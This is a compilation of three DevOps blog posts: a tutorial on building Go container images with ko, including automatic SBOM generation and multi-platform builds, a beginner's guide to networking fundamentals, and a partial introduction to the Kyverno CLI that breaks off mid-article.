Since containerization has become more and more popular with the help of Docker, I’m assuming you must have run the “**docker build**” at least once. To be honest, Docker is not the only way of creating container images, and there are many tools out there to achieve the same thing, such as [Kaniko](https://github.com/GoogleContainerTools/kaniko), [apko](https://github.com/chainguard-dev/apko), [img](https://github.com/genuinetools/img), [BuildKit](https://github.com/moby/buildkit), [Buildx](https://github.com/docker/buildx), [Podman](https://github.com/containers/podman), [Buildah](https://github.com/containers/buildah), [ko](https://github.com/google/ko), [Jib](https://github.com/GoogleContainerTools/jib), [Buildpacks](https://github.com/buildpacks/pack) and many more. In this article, we do not compare their strengths or weaknesses to each other, and we’ll be focusing on the ko project and will talk about its features from oldest to newest. I’m also super excited to talk about ko’s latest improvements in the supply chain security area. 

First, let’s explain which audience this article is targeting. Since the ko project is specific to Golang, this article is for Golang developers mostly. Still, I suppose you are curious about **automatic SBOM generation**, **a reproducible image builds**, and **multi-platform images**. So there is still a chance you can find something helpful in this article.

Ko is a **simple**, **fast** container image builder for Go applications. Ko simplifies building container images also it **securely** does that by providing features such as **not requiring any running daemon process**, **without the need for Dockerfile**, **providing build information for reproducibility**, and **creating/pushing SBOM (Software Bill of Materials) automatically**, don’t worry if you are not familiar none of these, today,  we’ll be explaining all of them in general, and also deploying Go applications on Kubernetes environments easily and quickly. So, in my opinion, everyone should be familiar with this project, especially if you are a Golang developer. 

I believe once you discover the abilities of the ko project with this article, it’ll become one of your daily tools because ko **frees up you from creating Dockerfiles** and knowing containerization details by giving you the freedom to focus your code without worrying about how to make a container image from it while giving you **performance** and **great UX.**

To summarize ko’s features in general, ko is spun off of the [go-containerregistry](https://github.com/google/go-containerregistry) library, which helps you interact with container registries and images. For a good reason, most of ko’s functionality is implemented using this Go module. Most notably, this is what ko does: - [Ship your Go applications faster to Cloud Run with ko](https://cloud.google.com/blog/topics/developers-practitioners/ship-your-go-applications-faster-cloud-run-ko)

- Download a base image from a container registry
- Statically compile your Go binary
- Create a new container image layer with the Go binary
- Append that layer to the base image to create a new image
- Push the new image to the remote container registry

Let’s start discovering these great opportunities mentioned above by installing ko binary without much ado. If you are in a macOS environment, the easiest way of installing ko is through the brew, a package manager for macOS.

```shell
$ brew install ko
```

or you can install it through a go install command

```shell
$ go install github.com/google/ko@latest
```

In addition to these methods, if you are on the GitHub Actions platform and want to install ko, thanks to [@imjasonh](https://twitter.com/imjasonh), fortunately, there is a setup-ko action available that allows you to install ko binary easily in your workflows, add these lines below to your workflow file to install ko into your environment:

```YAML
jobs: 
 publish: 
   name: Publish 
   runs-on: ubuntu-latest 
   steps: 
     - uses: actions/setup-go@v2 
       with: 
         go-version: 1.15 
     - uses: actions/checkout@v2 
     - uses: imjasonh/setup-ko@v0.4 
     - run: ko version
```

To start working with ko, I’ve already created a sample repository available on GitHub, and you can clone this project and start using ko on this project.

```shell
$ git clone https://github.com/developer-guy/hello-world-ko.git
```

The most important thing we should discuss before creating a container image with ko is the “**import path**,” which lies in ko's heart. ​​One such Go idiom is that binaries are referenced by “[import paths](https://golang.org/doc/code.html#ImportPaths)”; ko is also using the same pattern for referencing Go applications, so once you initialize your Go module via go mod init, the name you put after the command will be your import path and will be using by ko while giving a tag to your container image:

```shell
$ go mod init <import path> # github.com/developer-guy/hello-world-ko
```

In the most basic form, to build and push container images, all you need to do is run these two lines of command below:

```shell
$ export KO_DOCKER_REPO=gcr.io/YOUR_PROJECT/my-app 
$ ko build <import_path>
```

and that's it 🤘

Let’s build and push our first container image for the sample repository we cloned.

```shell
$ cd hello-world-ko

$ export KO_DOCKER_REPO=devopps # it will use DockerHub (docker.io) as a registry by default. 
However, if you want to publish it to another registry, you can specify it as gcr.io/devopps for Google Container Registry. 
By the way, devopps is my DockerHub username, don’t forget to set yours!

$ ko build github.com/developer-guy/hello-world-ko
2022/05/17 20:47:23 Using base gcr.io/distroless/static:nonroot@sha256:2556293984c5738fc75208cce52cf0a4762c709cf38e4bf8def65a61992da0ad for github.com/developer-guy/hello-world-ko
2022/05/17 20:47:24 Building github.com/developer-guy/hello-world-ko for linux/amd64
2022/05/17 20:47:49 Publishing index.docker.io/devopps/hello-world-ko-82db161e90a446983324a549d87a7dad:latest
2022/05/17 20:47:52 pushed blob: sha256:135ce68eadadd1473e0f5442fcf80f3308da789dd011549811c46122a3df26c2
2022/05/17 20:47:52 pushed blob: sha256:f4579510596da4c61433d328130bbdc920885626bb7bf130a525056bd7ce49dd
2022/05/17 20:47:52 index.docker.io/devopps/hello-world-ko-82db161e90a446983324a549d87a7dad:sha256-991b864323bdbdeca7ff349a37409f088cf7de718a17c6a677d20c978b648a39.sbom: digest: sha256:330c1b141d2a007145e4ae1701aa766f0b21fd3e6ce3fc65bc6b631fc7470c76 size: 367
2022/05/17 20:47:52 Published SBOM index.docker.io/devopps/hello-world-ko-82db161e90a446983324a549d87a7dad:sha256-991b864323bdbdeca7ff349a37409f088cf7de718a17c6a677d20c978b648a39.sbom
2022/05/17 20:47:54 pushed blob: sha256:250c06f7c38e52dc77e5c7586c3e40280dc7ff9bb9007c396e06d96736cf8542
2022/05/17 20:47:54 pushed blob: sha256:6d495c0263b798b4a4197f07c297cb8a0c2de4b371ced69d2801c1565c5e00d6
2022/05/17 20:47:58 pushed blob: sha256:ea76d64477d62cd7ef8cb9a737c115dbc48aea091d37f5845c7db145caf970d9
2022/05/17 20:48:00 pushed blob: sha256:36698cfa5275e0bda70b0f864b7b174e0758ca122d8c6a54fb329d70082c73f8
2022/05/17 20:48:00 index.docker.io/devopps/hello-world-ko-82db161e90a446983324a549d87a7dad:latest: digest: sha256:991b864323bdbdeca7ff349a37409f088cf7de718a17c6a677d20c978b648a39 size: 751
2022/05/17 20:48:00 Published index.docker.io/devopps/hello-world-ko-82db161e90a446983324a549d87a7dad@sha256:991b864323bdbdeca7ff349a37409f088cf7de718a17c6a677d20c978b648a39
index.docker.io/devopps/hello-world-ko-82db161e90a446983324a549d87a7dad@sha256:991b864323bdbdeca7ff349a37409f088cf7de718a17c6a677d20c978b648a39
```

Let’s continue with analyzing the output above because there are things that we can learn from it.

Foremost, you might notice that ko uses a secure and lean base image from the [Distroless](https://github.com/GoogleContainerTools/distroless) collection of images (the gcr.io/distroless/static:nonroot  image), which doesn’t contain a shell or other executables to [reduce the attack surface](https://cloud.google.com/solutions/best-practices-for-building-containers) of the container, as we mentioned earlier, ko cares about security. You can use another environment variable named “**KO_DOCKER_REPO**” to override this behavior. -[Overriding Base Images](https://github.com/google/ko#overriding-base-images)

Next, ko pushes container images to the registry we defined in the “**KO_DOCKER_REPO**” environment variable by default, and if you want to disable it, you should use “**--push=false**” for this. ko can also load images to a local Docker daemon, if available, by setting “**KO_DOCKER_REPO=ko.local**” or by passing the “**--local (-L)**” flag.

> ko depends on the authentication configured in your Docker config (typically ~/.docker/config.json). If you can push an image with docker push, you are already authenticated for ko. - [Authentication](https://github.com/google/ko#authenticate)

Next, to secure your software supply chain, inevitably, it should start with knowing what software is being used. So, you have to produce a list of what your software is made of such as libraries, dependencies, packages, etc., let’ call’em, software ingredients shortly. This list of “ingredients” is known as a software bill of materials (SBOM). More technically, “**A Software Bill of Materials (SBOM)**” is a complete, formally structured list of components, libraries, and modules that are required to build (i.e. compile and link) a given piece of software and the supply chain.

> If you want to go further here, you should consider checking the [awesome-sbom](https://github.com/awesomeSBOM/awesome-sbom) repository for related tools, frameworks, blogs, podcasts, and articles! Maintaining by [Batuhan Apaydın](https://twitter.com/developerguyba) (a.k.a developer-guy)

The most exciting feature that ko provides is that ko generates an SBOM and publishes it to the registry alongside the image, as you can see from the output, there is a line “**Published SBOM..**”, which means that ko enables this feature by default, to disable this feature, you should specify “**--sbom**” as false. If you want to view the SBOM file, you might use another tool called [crane](https://github.com/google/go-containerregistry/blob/master/cmd/crane) for interacting with remote images and registries. Or another approach, If you're going to see the SBOM of a pushed image, you can already do that with **cosign download sbom** ... or **ko deps <image>(which generates it on the fly and doesn't push any new SBOMs)**, [see](https://github.com/google/ko/issues/707#issuecomment-1129180728). If you want to learn more about the automatic SBOM generation feature in ko, you can read a great [article](https://blog.chainguard.dev/auto-sboms-with-ko) by [Matt Moore](https://twitter.com/mattomata) on [Chainguard blog](https://blog.chainguard.dev).

> cosign is a tool for Container Signing, Verification, and Storage in an OCI registry. To install it, please refer. to the [installation](https://docs.sigstore.dev/cosign/installation/) page.

```shell
$ crane ls index.docker.io/devopps/hello-world-ko-82db161e90a446983324a549d87a7dad
latest
sha256-991b864323bdbdeca7ff349a37409f088cf7de718a17c6a677d20c978b648a39.sbom

$ crane manifest index.docker.io/devopps/hello-world-ko-82db161e90a446983324a549d87a7dad:sha256-991b864323bdbdeca7ff349a37409f088cf7de718a17c6a677d20c978b648a39.sbom | jq
{
  "schemaVersion": 2,
  "mediaType": "application/vnd.oci.image.manifest.v1+json",
  "config": {
    "mediaType": "application/vnd.oci.image.config.v1+json",
    "size": 233,
    "digest": "sha256:135ce68eadadd1473e0f5442fcf80f3308da789dd011549811c46122a3df26c2"
  },
  "layers": [
    {
      "mediaType": "text/spdx",
      "size": 953,
      "digest": "sha256:f4579510596da4c61433d328130bbdc920885626bb7bf130a525056bd7ce49dd"
    }
  ]
}

$ crane blob index.docker.io/devopps/hello-world-ko-82db161e90a446983324a549d87a7dad@sha256:f4579510596da4c61433d328130bbdc920885626bb7bf130a525056bd7ce49dd
SPDXVersion: SPDX-2.2
DataLicense: CC0-1.0
SPDXID: SPDXRef-DOCUMENT
DocumentName: github.com/developer-guy/hello-world-ko
DocumentNamespace: http://spdx.org/spdxpackages/github.com/developer-guy/hello-world-ko
Creator: Tool: ko v0.11.2
Created: 1970-01-01T00:00:00Z

##### Package representing github.com/developer-guy/hello-world-ko

PackageName: github.com/developer-guy/hello-world-ko
SPDXID: SPDXRef-Package-github.com.developer-guy.hello-world-ko
PackageSupplier: Organization: github.com/developer-guy/hello-world-ko
PackageDownloadLocation: https://github.com/developer-guy/hello-world-ko
FilesAnalyzed: false
PackageHomePage: https://github.com/developer-guy/hello-world-ko
PackageLicenseConcluded: NOASSERTION
PackageLicenseDeclared: NOASSERTION
PackageCopyrightText: NOASSERTION
PackageLicenseComments: NOASSERTION
PackageComment: NOASSERTION

Relationship: SPDXRef-DOCUMENT DESCRIBES SPDXRef-Package-github.com.developer-guy.hello-world-ko
```

Last but not least, the final image (index.docker.io/devopps/hello-world-ko-82db161e90a446983324a549d87a7dad:latest) might look a bit strange because it provides a few different strategies for naming the image it pushes, but if you don’t specify anything for this, ko adds md5 portion to the image name, to overcome this issue for better image name, we can use “**-B (--base-import-paths)**” to omit md5 portion. - [Naming images](https://github.com/google/ko#naming-images)

So far, we’ve talked ko at the most basic level. Next, let’s discover other great features available in ko. 

Ko also shines in building multi-platform container images. To build a multi-platform container image with ko, the only thing that you need to do is just add a flag called “**--platform**” with the OS and architecture you target, like **linux/amd64**, because **Go supports cross-compilation to other CPU architectures and operating systems natively.**

```shell
$ ko build -B --platform linux/amd64,linux/arm64 --tags multiarch github.com/developer-guy/hello-world-ko 2022/05/17 21:56:51 Using base gcr.io/distroless/static:nonroot@sha256:2556293984c5738fc75208cce52cf0a4762c709cf38e4bf8def65a61992da0ad for github.com/developer-guy/hello-world-ko 2022/05/17 21:56:52 Building github.com/developer-guy/hello-world-ko for linux/amd64 2022/05/17 21:56:52 Building github.com/developer-guy/hello-world-ko for linux/arm64
…

$ crane manifest index.docker.io/devopps/hello-world-ko:multiarch | jq
{
  "schemaVersion": 2,
  "mediaType": "application/vnd.docker.distribution.manifest.list.v2+json",
  "manifests": [
    {
      "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
      "size": 751,
      "digest": "sha256:991b864323bdbdeca7ff349a37409f088cf7de718a17c6a677d20c978b648a39",
      "platform": {
        "architecture": "amd64",
        "os": "linux"
      }
    },
    {
      "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
      "size": 751,
      "digest": "sha256:91523e52f520098faf21eef68db6a63caba9c1ba00bcd16e554fe4972ac0acec",
      "platform": {
        "architecture": "arm64",
        "os": "linux"
      }
    }
  ]
}
```

One of the most recent features supported in ko is that ko allows you to override Go build settings in its configuration file, by the way, ko also provides a method of configuring ko’s behavior via a configuration file called “**.ko.yaml**” or a file you specify in “**KO_CONFIG_PATH**” environment variable. By default, ko builds the binary with no additional build flags other than “**-trimpath**” . You can replace the default build arguments by providing build flags, and ldflags using a GoReleaser influenced builds configuration section in your .ko.yaml. - [Overriding Go build settings](https://github.com/google/ko#overriding-go-build-settings)

Now we come to my favorite part, setting base image annotations to the image manifest by default for reproducibility. A great effort from Jason Hall (@imjasonh), he created a PR to add a piece of information about which base image was being used while building an image to the [Open Container Initiative](https://opencontainers.org)'s [image-spec](https://github.com/opencontainers/image-spec), to get more detail about the PR, please [see](https://github.com/opencontainers/image-spec/pull/822/). It is an important milestone for people who might want to take action against these base images because most of the vulnerabilities come from these images,  the problem here is that once your image is built, information about the base image is completely lost, with this important change, now, we can be able to capture the base information through these annotations below:

- org.opencontainers.image.base.name: the mutable reference to the base image (e.g., docker.io/alpine:3.14)

- org.opencontainers.image.base.digest: the immutable digest of the base image when the image was built on it (e.g., sha256:adab384...)

> To learn more about the journey, you can read Jason Hall's article from [here](https://github.com/imjasonh/ImJasonH/tree/main/articles/oci-base-image-annotations).

ko sets these annotations if your base image is a docker image instead of an OCI image, and if it's a single platform image, it doesn't support annotations, and some registries will reject it. So you can --platform=all and should get the annotations back.

In addition to all of these great benefits gained by ko, ko also includes support for simple YAML templating, which makes it a powerful tool for Kubernetes applications which means that you can replace your image references in “**.spec.template.spec.containers.image**” with prefixed with “**ko://**” like the following:

```YAML
    ...
    spec:
      containers:
      - name: my-app
        image: ko://github.com/my-user/my-repo/cmd/app
```

Now, the only thing that you need to do the for building, pushing the container image to the registry, and then deploying the application on Kubernetes is run “**ko apply -f .**” that's it 😎

## Conclusion

Thanks to ko, you don't need to install Docker to your environment anymore and write any Dockerfile, and you are still able to build and push container images to your favorite registries. In summary, ko is one of the great tools available out there that is waiting to be discovered by you🧭

---

# Networking Fundamentals For DevOps

- Canonical: https://blog.kubesimplify.com/networking-fundamentals-for-devops
- Published: 2022-05-19

We all use Internet, right? But how does this Internet actually work? Are you interested to learn about internet and networking?

In this blog, we will learn about the network fundamentals and many more. So, let's get started ! 🔗

## What is a Network ?

When two or more computers and computing devices connected together with each other through communication channels, such as cables or wireless media and sharing some files, then it is called a **Network**.

A network is used to:

* Allow the connected devices to communicate with each other.
    
* Enable multiple users to share devices over the network, such as music and video servers, printers and scanners.
    

The Internet is the largest network in the world and can be called "the network of networks". (remember this word 🙂)

## Types of Networks

There are different types of network. But the main two are LAN and WAN 👉

1. **LAN** (Local Area Network) - interconnects computer within a limited area, such as residences, schools. e.g:- Wi-Fi, Ethernet
    
2. **MAN**(Metropolitan area network) - used in metropolitan area (cities).
    
3. **WAN** (Wide Area Network) - extends LAN over a large geographic area. e.g:- optical fiber cable
    
4. **SONET** (Synchronous Optical Network) - used in submarine.
    

## Network Components

### 1\. Switch:-

> It is a device which connects two or more computers.

Suppose we are four friends, and we want to play a game like counterstrike together in LAN, then what exactly we will do? We can connect with Wi-Fi, or we can use a device called Switch to connect with each other physically in a home, and then we can play. So a Switch is nothing but a device used to connect devices locally.

When we use switch, it actually makes one table inside it is known as MAC address table. So if device A is sending data to device B for the first time, switch will store the MAC address of both A and B. So next time when data is going to transfer between A and B now switch knows the MAC address of both. Now data will directly reach to B device(unicast), not C and D. For the first time switch broadcast the data means data will also reach to C and D but for the next time broadcasting will not happen.

**There are many types of switches** -

1. Unmanaged switch - *In this switch if we send some data from device A to device B then the data will also reach to device C and D which is not so good. In our house, we use this type of switch concept e.g:- Extension board*
    
2. Managed switch - *VLAN concept is used in this switch, and it has many features. It is used in company and in industrial level.*
    

If you want to learn more about Switch, you can search about KVM, POE and Smart switches.

### 2\. Router:-

> It is a device which is actually used to connect one network with another.

Suppose, ten computers are connected via a switch, and it's a LAN network. But if we want to connect this LAN network with another LAN network, then Router will help to connect them. The device which is used in our home for broadband connection, we think that this is a Router, but actually this is not a Router. This device is a combo of router, modem and small switches called [ADSL](https://en.wikipedia.org/wiki/Asymmetric_digital_subscriber_line) (Asymmetric Digital Subscriber Line) provided by our ISP (Internet Service Provider).

![image.png](/img/blog/networking-fundamentals-for-devops/9CtpaOvJU.png align="center")

### 3\. Modem:-

> It is also a device used for modulation and Demodulation.

When we get any type of signals, they are actually coming to your device in the form of Analog signal, but your computer only understand digital signals(0 and 1). So we can't send analog signals directly to the system. So here Modem is used for converting your signals analog to digital and vice-versa. For this reason, ISP put down this modem functionality in your ADSL.

![image.png](/img/blog/networking-fundamentals-for-devops/FRxRzdrNn.png align="center")

### 4\. Hub:-

> It is just a power extension dummy device that just broadcast the signals to it's connected computers.

Suppose there are 4 computers(A, B, C, D) connected via a Hub. Now If computer A is sending some data to computer B then those data will also reach to C and D computer. So Hub always broadcast because it works on signal. So if you send any signal it will reach to everyone connected with that Hub. It does not store any MAC address of the devices. \*\*So this is the main difference between Hub and Switch.\*\*Hubs are now largely obsolete, and it replaced by switches which are able to learn MAC address of devices.

![image.png](/img/blog/networking-fundamentals-for-devops/QoOZTcJ-K.png align="center")

### 5\. NIC:-

> It is known as Network Interface Card which is used to connect your computer with the internet. It is wireless card preinstalled on motherboard now-a-days. It has a MAC(Media Access Control) address.

![image.png](/img/blog/networking-fundamentals-for-devops/rEnKAyuy_.png align="center")

### 6\. Bridge:-

> It is also a networking device that connects multiple LANs (local area networks) together to form a larger LAN. It reduce the broadcasting part and it store the MAC address of the computer but now this device is also obsoleted and replaced by switch.

![image.png](/img/blog/networking-fundamentals-for-devops/cgSsqLcyR.png align="center")

## What is Protocol ?

A network protocol is a set of rules which is set up by peoples that determine how a particular data is transmitted between different devices in the same network. e.g:- HTTP, TCP, IP, FTP, SMTP etc.

## IP Address and its Types and Classes

Every device on the internet must have at least one unique network address identifier known as the IP (Internet Protocol) address. This address is essential for routing packets of information through the network. Without our address none can find our location and like that without an IP address a device can't be found on a network.

**There are two types of IP addresses** - **IPv4 and IPv6** (v stands for version)

* **IPv4**
    

This is a 32 bit IP address, means it contains a combo of 32 (1 and 0's). In this version of IP address there are 4 groups or **Octets**(8 bits) and each octet is represented by a decimal value in the address. It is easy to remember.

![image.png](/img/blog/networking-fundamentals-for-devops/aaRA8vQpp.png align="center")

* **IPv6**
    

This IP address contain 128 bits. We use IPv6 because we have a shortage of IPv4, almost all IPv4 is used now and this is the reason IPv6 is commonly seen nowadays. This address is represented by a hexadecimal value.

![Screenshot (40).png](/img/blog/networking-fundamentals-for-devops/Psv-uM8zz.png align="center")

* **Classes of IP address (mainly for IPv4)** :-
    

There is an organization called [IANA](https://www.iana.org/) (Internet Assigned Numbers Authority) who divides the IP address into different classes. You have to know about binary to decimal conversion to understand this.

![IMG20220513200234.jpg](/img/blog/networking-fundamentals-for-devops/ObFiMI6gi.jpg align="center")

*Class D is reserved for multicast groups, and class E is reserved for future use*.

**Read this carefully --**

There are two parts to an IP address - Network ID and Host ID (Any device which gets the IP address is called a Host).

To connect device A with device B we have to check just the network ID only for both the devices. Suppose device A (17.0.0.1) and device B (17.0.4.2), so both are class A IP address because their first octet under the range 0-126. For class A the network ID is first octet and remaining three octets for Host ID and for class B the first two octets are network ID and remaining Host ID and for class C the first three octets are network ID and the last octet is Host ID. So here the net ID of both the device is 17, so they can connect with each other easily and both devices are in a same network. But If the network ID is different, then we have to use a Router to connect them because a Router is used to connect two or more different networks.

## Topologies

A Network Topology is the shape or arrangement of a Network with which computer systems or network devices are connected to each other. Topologies may define both physical and logical aspect of the network. Both logical and physical topologies could be same or different in a same network.

**There are different types of Topology** -

* **Bus Topology**
    

In this topology, all devices share a single communication line or cable. For this topology the main problem is for any cause if that cable breaks then the whole network will break down.

![image.png](/img/blog/networking-fundamentals-for-devops/m66vo1oLs.png align="center")

* **Ring Topology**
    

In ring topology, each host machine connects to two other machines, creating a circular network structure. For any cause, if any host break down then whole network will break down. Thus, every connection in the ring is a point of failure.

![image.png](/img/blog/networking-fundamentals-for-devops/wGx-byaGY.png align="center")

* **Star Topology**
    

In Star topology, all hosts are connected to a central device, known as a hub device, using a point-to-point connection. That is, there exists a point to point connection between hosts and hub. If the Hub fails for any cause, then the whole network will be broken.

![image.png](/img/blog/networking-fundamentals-for-devops/_vmPa-_3u.png align="center")

* **Tree Topology**
    

This topology is the combination of Bus and Star Topology. In this topology, each Star topology being connected via a single communication line or cable. This is the most common form of network topology in use presently. The main problem in this topology is if that single cable breaks then the whole network will break down.

![image.png](/img/blog/networking-fundamentals-for-devops/9EFPirngi.png align="center")

* **Mesh Topology**
    

In this topology, each host are interconnected with each other through various redundant connections. It does not contain the switch, hub or any central computer which acts as a central point. The Internet is the main example of Mesh Topology. But the main issue with this network is this topology, networks are very large and very difficult to maintain and manage. If the network is not monitored carefully, then the communication link failure goes undetected.

![image.png](/img/blog/networking-fundamentals-for-devops/VZN4r9yOu.png align="center")

## Network Models

There are mainly two types of network model -

1. OSI Reference Model
    
2. TCP/IP Model
    

* #### OSI Reference Model
    

The OSI model (or Open Systems Interconnection Model) is a reference model created by ISO (International Organization for Standardization) which describe how different types of systems communicate together. The OSI model consists of seven different layers that each have its own unique purpose and responsibilities. This is an imaginary model.

![image.png](/img/blog/networking-fundamentals-for-devops/ec9vwSW5Q.png align="center")

#### 1\. Application Layer

Any software which interacts directly with one human to another comes under Application Layer. e.g :- WhatsApp, Gmail, Web browser etc. Different types of protocol given below is used in Application Layer - (*let's discuss some protocol in details*)

* **HTTP** (Hypertext Transfer Protocol)
    
    It is a client server stateless (means it never stores any data of client)protocol, and it tells us how it request any data from the server and also tells us how the server will send the data back to the client.
    
    \-- When a client makes a request - HTTP request
    
    \-- When server sends response to client - HTTP response -- Some HTTP methods used to make any request
    
    ```html
      GET :- Get some data from server
      POST :- Post some form/data to server
      PUT :- Put some data
      DELETE :- Delete some data in server
    ```
    

\-- Status Codes

Status codes are issued by a server in response to a client's request made to the server.

`html 1XX - Informational 2XX - Success! 3XX - Redirecting 4XX - Client Error(eg:- 404 not found!) 5XX - Server Error` I have said that HTTP is a stateless protocol, means it never store any data of client in server. Then suppose when you will search for the second time `amazon.com` then it should be logged out from the server, and you have to log in again for second time visit, but you don't. In second time, it's automatically logged in, and you can see all of your saved carts 🛒 and all data. So how it is possible?? Here, **cookies** comes into the picture.

> Cookies is a unique string stored as a file in your browser and when you search for the second time the website you visited previously, cookies which saved in your browser will send the details through HTTP to the server and server will check it and automatically logged you in.

* **SMTP/POP** (Simple Mail Transfer Protocol and Post Office Protocol)
    

SMTP is used in sending and receiving any email from senders SMTP server to Receiver's SMTP server

POP is used to download any email from POP server

![image.png](/img/blog/networking-fundamentals-for-devops/mTGqlFCf6.png align="center")

* **FTP** (File Transfer Protocol)
    
    FTP is used to download, upload and transfer files from one host to another host.
    

#### 2\. Presentation Layer

This layer actually tells about the **Format of Data**(just remember this 🙂) means when you see a webpage like `google.com` or `YouTube.com`, there you can see many videos, images, thumbnail of videos, comments and all. So the presentation layer helps to represent the data of any format.

#### 3\. Session Layer

When the data is moving to Session Layer, so session layer is actually create and maintain the sessions with the time frame. Whenever you open any bank website, it has a time limit. If you are away from your keyboard for some time, then that session will automatically log out. If you are not using your keyboard or mouse pointer or anything, then the session will log out automatically by a session layer algorithm written by the developers. This is the responsibility of Session Layer.

#### 4\. Transport Layer

By this Layer the Data in converted into small **segments** means this layer divides the data in multiple chunks or parts. This layer is also responsible for **sequencing** the segment, means it will actually add the serial number on each data segment. Because when the data is travelling from one PC to another PC over the internet, so might be there is a chance that one part/segment of data will be dropped. So when the data will be reached from Host-A to Host-B then B will check oK! I got 1,3,4,5 segments, but I have not received the no. 2 segment. Then B will send request again to A that can you please retransmit again no. 2 segment. This layer use some checksum, and it takes care of congestion control. And this layer is responsible for **retransmission** also.

TCP and UDP is used in this layer.

* **TCP** (Transmission Control Protocol)
    
    In this protocol, if any segments of data is transmitting from Host A to Host B, the destination (Host B) will send back a receipt/acknowledgement to sender (Host A). Means whenever we send data with TCP, it actually takes care of acknowledgement. So this protocol is reliable, and also it retransmits the data segment if any segment is dropped. In network language, this protocol is connection oriented because it believes in making connection end to end. It takes 20 bytes to add TCP information on each segment. This information contains port numbers. Port number is in which application you want to send your data is recognized by port numbers. e.g. :- HTTP - port 80, MongoDB - port 27017, SQL - port 1433 etc.
    
* **UDP** (User Datagram Protocol)
    
    This protocol is connectionless, means it does not make any connection with receiver to check whether all data segments are reached successfully to the receiver or not. So it is not reliable since it does not take care of any acknowledgement. Retransmission is not possible with this protocol. It takes 8 bytes to add UDP information on each segment. These 8 bytes contain port number, same like TCP.
    

#### 5\. Network Layer

In this layer, each data segment is converted into Packets. In each packet's Source IP address (sip) and the destination IP address (dip) is added by this layer. Actually, Packets is the abstraction (layer) of Segments. Router works in this layer for connecting one Host with another Host (different network).

#### 6\. Data Link Layer

In this layer, each packet is converted into Frame. In each packet, the source MAC address and the destination MAC address (physical address of the device)is added by this layer. Frame is another abstraction (layer) of Packets which contain both the MAC addresses. Switch works in this layer for selecting which device it has to send that data connected with that Switch.

#### 7\. Physical Layer

In this layer, data will be converted into digital signal(0 and 1) is called Encoding. Then the signal will travel via cable to another device (receiver). Now, these above 7 processes will also be occurred in the receiver device.

![osi.jpg](/img/blog/networking-fundamentals-for-devops/XbWRRPbj4.jpg align="center")

* #### TCP/IP Model
    
    This model is a real model which actually works in real. This model consist of 4 layers.
    
    1. Application Layer = (Application Layer + Presentation Layer + Session Layer) of OSI model
        
    2. Transport Layer
        
    3. Network Layer
        
    4. Network Interface Layer = (Data Link Layer + Physical Layer) of OSI model `(remaining all are same like OSI model discussed above.)`
        
    

## DNS (Domain Name System)

DNS, or the Domain Name System, translates human-readable domain names (for example, `www.amazon.com`) to machine-readable IP addresses (for example, 192.0.2.44). It is a phone book of the Internet. Each device connected to the Internet has a unique IP address, which other machines use to find the device. DNS servers eliminate the need for humans to memorize IP addresses such as 192.168.1.1 (in IPv4), or more complex newer alphanumeric IP addresses such as 2400:cb00:2048:1::c629:d7a2 (in IPv6). **Root DNS Server** stores all the Top level domain e.g :- .io, .com, .org etc.

### **Want to master DNS ? get to know the ins and out of DNS in** [**this course**](https://www.nslookup.io/dns-course/) **developed by** [**Ruurtjan Pul**](https://twitter.com/Ruurtjan)

## Subnet Mask

Subnet Mask represents the network bits. Computer needs extra information that computer belongs to which network. Subnet mask is represented by `/` value.

/8 = 255.0.0.0 means it represents 8 bits of an IP address and if you add all 8 bits like (2^7+2^6+2^5+2^4+2^3+2^2+2^1+2^0 = 255). Each octet can vary from 0-255.

![subnet.jpg](/img/blog/networking-fundamentals-for-devops/Mn1sokahf.jpg align="center")

Computer can't understand the IP address directly. So via subnet mask, the computer can understand the IP address because subnet deals with bits. Now we know that for class A IP address only first octet will be checked for Network ID and similarly for class B first 2 octets and for class C first three octets. e.g :- As This IP 123.34.0.1/8 belongs to class A so via its subnet mask 255.0.0.0 computer can recognize that this is a class A IP address.

**\-- DEFAULT SUBNET MASK --**

Class A - 255.0.0.0 as it checks for first octet or 8 bits

Class B - 255.255.0.0 as it checks for first two octets or 16 bits

Class C - 255.255.255.0 as it checks for first three octets or 24 bits

## Network Utilities

* **Ping**
    
    Ping (Packet Internet Gropers) is a basic internet program which is used to check the connectivity between two or more devices. Suppose, in device A if you are getting reply from device B that means both the devices are connected with each other, and they can share any files now. Ping actually sends some packets of some bytes of size (you can set manually) to another device which can be a server also and then if that second device or server send back response to you then that two devices are connected with each other. Here `google.com` is the second device (server).
    
    > What is TTL in above picture?
    

TTL means Time-To-Live is a value for the period of time that a packet should exist on a network before being dropped or discarded. e.g:- TTL= 111 means after checking 111 routers over the internet if that IP ping 142.250.194.14 is not found on internet then that packet will be dropped, and you can see that dropped packets in result.

\*\*Hope this blog will help you!\*\*👍

---

# Kyverno CLI

- Canonical: https://blog.kubesimplify.com/kyverno-cli
- Published: 2022-05-18

- If you are using kyverno, you should know about kyverno CLI. In this guide we will go through kyverno CLI. 

## How to Install? 


### Commands Overview 

- Just run the command `kyverno` in your terminal, and you should see this. 


![Screenshot from 2022-05-13 07-07-48.png](/img/blog/kyverno-cli/RlInMayUb.png align="left")

- We will be looking at all of that in the immediate next section. I will not be covering flags because that will make the article boring I guess. 

## kyverno apply 

- kyverno apply applies policy to the resources. It is intuitive that now you need to policy now and a resource. You need a policy that will enforce some behaviour on your resource. 
- Let's clone some policies, and we will be leveraging that to test our policies and understand how kyverno CLI works. 

```bash
git clone https://github.com/kyverno/policies
```
- Go to your `~/policies/best-practices/required_probes` directory, and you will see three files there. 

![Screenshot from 2022-05-13 23-50-09.png](/img/blog/kyverno-cli/n0e6B1cOS.png align="left")

- These sample policies are provided by kyverno community, and you can learn with these policies, and even you can use it in your cluster to enforce desired policies. 
- I will encourage you to spend some time and have a look at the resource manifest and policy manifest. If you don't understand the policy manifest, then check out the previous articles on kyverno here. 
- The given `required_probes.yaml` is having the policy defintion which enforces to have probes in the resource manifest. 
- Kyverno apply performs a dry run on the given resource.yaml file with the corresponding policy. 
- It means that you can use this to check in advanced how a policy will affect the resource prior to deploying your policies/resources to the cluster. 
- Let's apply our policy to the resource. This is how the command looks like. 
```bash
kyverno apply /path/to/policy.yaml --resource /path/to/resource.yaml
```
- You should see something like this 


![Screenshot from 2022-05-13 23-59-59.png](/img/blog/kyverno-cli/sRGy8mDaJ.png align="left")

- If you have given time to understand the resource.yaml file, then you would have noticed that the first two resources `goodpod1` and `goodpod2` were having `readinessProbe` and `livenessProbe` set, so they pass the test. Let me illustrate. 


![goodpod1.png](/img/blog/kyverno-cli/-F1hX-gtf.png align="left")

